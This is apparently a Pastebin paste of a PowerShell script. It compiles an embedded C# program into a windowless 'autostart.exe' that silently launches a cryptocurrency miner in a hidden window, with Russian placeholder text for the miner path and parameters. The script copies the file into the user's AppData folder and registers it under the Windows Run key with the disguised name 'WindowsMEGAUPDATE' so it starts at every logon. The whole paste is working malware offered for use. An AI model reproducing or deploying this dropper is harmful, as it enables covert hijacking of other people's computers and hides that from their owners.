Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $source = @"
- using System;
- using System.Diagnostics;
- public class Hello {
- public static void Main(string[] args) {
- try
- {
- Process cmd = new Process();
- cmd.StartInfo.FileName = @"C:\твой путь\miner.exe";
- cmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- cmd.StartInfo.Arguments = @"параментры к майнеру";
- cmd.Start();
- }
- catch (Exception e)
- {
- Console.WriteLine(e.Message);
- }
- }
- }
- "@
- $outpath = 'autostart.exe'
- $main = "Hello"
- $provider = [System.CodeDom.Compiler.CodeDomProvider]::CreateProvider("CSharp")
- $parameters = New-Object System.CodeDom.Compiler.CompilerParameters
- $parameters.GenerateExecutable = $true
- $parameters.CompilerOptions = "/target:winexe"
- $parameters.OutputAssembly = $outpath
- $parameters.MainClass = $main
- $parameters.ReferencedAssemblies.Add("System.DLL") > $null
- $provider.CompileAssemblyFromSource($parameters, $source)
- $path = ($env:appdata + "\") + $outpath
- Copy-Item $outpath ($env:appdata + "\")
- New-ItemProperty -path HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -name "the-OP-xyi-WindowsMEGAUPDATE" -value $path -type string
Advertisement
Add Comment
Please, Sign In to add comment